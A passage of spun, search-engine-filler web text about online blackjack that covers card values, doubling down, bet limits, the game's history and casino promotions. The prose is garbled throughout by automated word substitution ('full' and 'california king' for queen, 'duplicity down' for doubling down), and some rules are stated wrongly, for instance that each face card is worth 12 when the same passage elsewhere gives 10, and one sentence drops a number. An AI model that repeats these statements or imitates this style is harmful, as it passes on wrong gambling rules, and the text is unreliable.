addition to must place a unique bet for each hand.  correct splitting decisions significantly enhance potential winnings.  numbered cards keep their own face value while face cards usually are worth 10.</p><h3 id=\"toc-11\">key rules to follow any time playing online blackjack</h3><p>your aim is to associated with perfect strategic selection each time.  you may start by contacting the blackjack chart to assist you make typically the right decisions.  but after a whilst, you must play with out considering the graph and or chart.  you\xe2\x80\x99ll get the feel for what a person need to do after you\xe2\x80\x99ve enjoyed blackjack for quite a while.  in the early days, it\xe2\x80\x99s best to be aggressive if you need to become, and to endure if you don\xe2\x80\x99t will need to be.  if the dealer\xe2\x80\x99s beginning card is a five to six, then you\xe2\x80\x99ll become more likely to be able to win with seventeen than if they start with\" \"a good ace.</p><ul><li>this will overlay the particular chart and demonstrate you the appropriate move for your current last play. </li><li>one blackjack suits strategy lovers and live casino enthusiasts preferring low-vol, high-rtp action over position volatility. </li><li>the earliest incarnation of the game had been invented in france way\" \"back in the early 1700s, and possesses basically gone from strength to strength ever since. </li><li>similarly, typically the u symbol \xe2\x80\x93 surrender/stand \xe2\x80\x93 in the event that the table allows for surrender, then you certainly should use that and surrender your own hand. </li><li>we wish that you simply gambler's lucky streak plus enjoy this free online version of black jack. </li></ul><p>one blackjack meets strategy lovers and live casino fans preferring low-vol, high-rtp action over slot machine volatility.  newcomers appreciate simple rules; advantages value side wagers and speed.  check out\" \"the exciting review regarding one blackjack slot machine game by undefiend!  discover top casinos in order to play and distinctive bonuses for january 2026.  along with king and full cards, jacks include the second-highest price in blackjack.  face cards (king, full, and jack) differ from number cards, because they each hold a worth of 10.</p><h3 id=\"toc-12\">dealer exposes both cards</h3><p>when a player doubles down inside blackjack, they twice their bet throughout the middle involving the hand inside exchange for starters greeting card only.  this gamble is risky as it may end a\" \"player's betting early about a low second cards.  however, many players incorporate doubling straight down into their black jack strategy, specially if their cards equal 10 and the dealer has a reduced card.  like any other casino online game, blackjack tables possess bet limits most players are required to follow.  these vary based on whether or not the game is perfect for high rollers or low stakes gamblers, but usually selection between $2-$1, 500 for minimum and maximum bets, correspondingly.</p><ul><li>aces are worth one or 11, relying on which will help the player more. </li><li>though you can win money regarding beating the supplier or building a blackjack, you also may bag a reward multiplier based upon your winning credit score. </li><li>the player's aim in blackjack would be to achieve some sort of higher hand worth than the seller, without going more than a count associated with 21. </li><li>most online black jack uses multi deck games with six or eight products. </li><li>blackjack and automatically win the round. </li><li>it can be frustrating to reduce and celebratory to win, although don\xe2\x80\x99t let all of them go to your head! </li></ul><p>face cards refer to jack, california king, or king credit cards of any match in blackjack.  each face card provides a value of 12, which makes them particularly valuable to players in blackjack.  if a new player is delighted with their hands and desires to complete their turn, that they should 'stand'.</p><h2 id=\"toc-13\">one blackjack</h2><p>if  the dealer features any bust credit cards, the odds of them going over 21 are greater and players should enjoy more conservatively in order to avoid busting by themselves.  when the dealer's upcard is 7 or higher, the particular dealer will most likely have got a hand worth  between and gamers might want to take a lot more risks in their own gameplay.  in 21, some cards are usually\" \"statistically less likely in order to create a winning hand than some others.</p><ul><li>in live blackjack, you place bets in your phone or perhaps pc, but the table and cards used by the dealer are 100% real. </li><li>with no-hole-card blackjack, participants can potentially waste money on duplicity down and splitting hands if the dealer has already received. </li><li>but a slot machine game game is certainly not only about how precisely this looks, a spread and various mini-games for players to have the opportunity to boost their winnings. </li><li>to observe what are best legitimate blackjack sites on-line, take a look at this record. </li></ul><p>the name came into living because prospectors utilized the term 'blackjack' to describe the particular bonus you get after making 21 from two greeting cards.  our free black jack game puts you facing\" \"an electronic dealer and difficulties you to defeat a pc designed in order to win at all costs.  a positive count favors the player; a negative count favors typically the dealer.  online internet casinos operating in typically the uk are required to obtain a license through the ukgc.  additionally, they must adhere to tight advertising regulations, guaranteeing that promotions are usually fair and never misleading.</p>||RSV:8.22||T:APACHE||


